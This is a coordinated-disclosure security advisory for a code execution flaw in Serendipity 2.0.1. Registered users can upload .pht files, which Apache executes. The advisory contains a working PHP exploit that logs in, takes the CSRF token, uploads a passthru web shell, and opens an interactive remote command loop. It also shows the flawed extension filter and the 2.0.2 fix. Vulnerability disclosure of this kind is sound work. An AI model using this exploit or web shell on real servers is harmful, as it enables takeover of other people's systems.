Serendipity 2.0.1: Code Execution Security Advisory – Curesec Research Team 1. Introduction Affected Product: Serendipity 2.0.1 Fixed in: 2.0.2 Fixed Version Link: https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip Vendor Contact: serendipity@supergarv.de Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 07/21/2015 Disclosed to public: 09/01/2015 Release mode: Coordinated release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Vulnerability Description Serendipity 2.0.1 does not allow the upload of .php, .php4, .php5, .phtml files, or files starting with a dot - eg .htaccess files. However, files with extension .pht can be uploaded by registered users, and will be executed by most default Apache configurations. The file upload is located here: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect User registration either requires an admin to create the user, or the plugin serendipity_plugin_adduser being activated. The default setting for this plugin does not require an admin to accept the registration of that user. 3. Proof of Concept #!/usr/local/bin/php <?php if (count($argv) != 8 && count($argv) != 7) { help($argv); exit; } $cookieJar = tempnam('/tmp', 'cookie'); $user = $argv[1]; $pass = $argv[2]; $rootURL = $argv[3]; $loginURL = $argv[3] . '/' . $argv[4]; $uploadFormURL = $rootURL . '/' . $argv[5]; $shellFileName = $argv[6]; if (count($argv) == 7) { $shellURL = $rootURL . '/uploads/' . basename($shellFileName); } else { $shellURL = $rootURL . '/' . $argv[7]; } // login echo "logging in as $user\n"; if (!login($loginURL, array( "serendipity[user]" => $user, "serendipity[pass]" => $pass, "submit" => "Login"))) { echo "could not log in\n"; exit; } echo "login done\n"; // csrf token echo "getting anti CSRF token\n"; $nonce = getCSRFToken($uploadFormURL, $cookieJar); echo "token: $nonce\n"; // uploading echo "uploading $shellFileName to $shellURL\n"; $file = upload($uploadFormURL, $shellFileName, "serendipity[userfile][1]", array( "serendipity[token]" => $nonce, "serendipity[action]" => "admin", "serendipity[adminModule]" => "media", "serendipity[adminAction]" => "add", "serendipity[column_count][1]" => "true", "serendipity[all_authors]" => "true", "serendipity[imageimporttype]" => "image", "serendipity[target_filename][]" => "", "serendipity[target_directory][]" => ""), $cookieJar); if ($file == false) { echo "could not upload (possibly wrong extension? Only .pht is allowed)\n"; exit; } echo "upload done\n"; // executing echo "starting execution\n"; execute($shellURL, 'exec'); function help($argv) { echo "usage: php " . $argv[0] . " [user] [pass] [root url] [login path] [upload form path] [local shell file (pht), should contain <?php passthru(\$_GET['exec']);] [shell path (optional, in case upload path is non-standard)]\n example: php " . $argv[0] . " admin admin http://localhost/serendipity serendipity_admin.php serendipity_admin.php?serendipity[adminModule]=media ./404.pht\n"; } function upload($URL, $fileName, $fileFieldName, $additionalPost, $cookieJar) { $fileNameAbsolute = realpath($fileName); $post = array($fileFieldName => '@' . $fileNameAbsolute); $post = array_merge($post, $additionalPost); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $URL); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar); $result = curl_exec($ch); $success = strpos($result, "successfully uploaded as") !== false; $tmp = preg_match("/successfully uploaded as (.*?)<\/span>/s", $result, $matches); curl_close($ch); return $success ? $matches[1] : false; } function get($URL, $cookieJar = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $URL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar); $result = curl_exec($ch); curl_close($ch); return $result; } function login($URL, $post) { global $cookieJar; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $URL); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar); $content = curl_exec($ch); $success = strpos($content, "Logged in as") !== false; curl_close($ch); return $success; } function getCSRFToken($URL, $cookieJar) { $content = get($URL, $cookieJar); $tmp = preg_match("/input type=\"hidden\" name=\"serendipity\[token\]\" value=\"(.*?)\" \//s", $content, $matches); return $matches[1]; } function execute($shellURL, $argsName) { while (true) { $line = readline("$: "); if ($line == "quit" || $line == "exit") { exit; } echo get($shellURL . "?" . $argsName . "=" . urlencode($line)); } } 4. Code The relevant function checking file extensions: /include/functions_images.inc.php:16 function serendipity_isActiveFile($file) { if (preg_match('@^\.@', $file)) { return true; } $core = preg_match('@\.(php.*|[psj]html?|aspx?|cgi|jsp|py|pl)$@i', $file); if ($core) { return true; } $eventData = false; serendipity_plugin_api::hook_event('backend_media_check', $eventData, $file); return $eventData; } 5. Solution To mitigate this issue please upgrade at least to version 2.0.2: https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip Please note that a newer version might already be available. 5. Report Timeline 07/21/2015 Informed Vendor about Issue 07/24/2015 Vendor releases Version 2.0.2 09/01/2015 Disclosed to public 6. Blog Reference: http://blog.curesec.com/article/blog/Serendipity-201-Code-Execution-48.html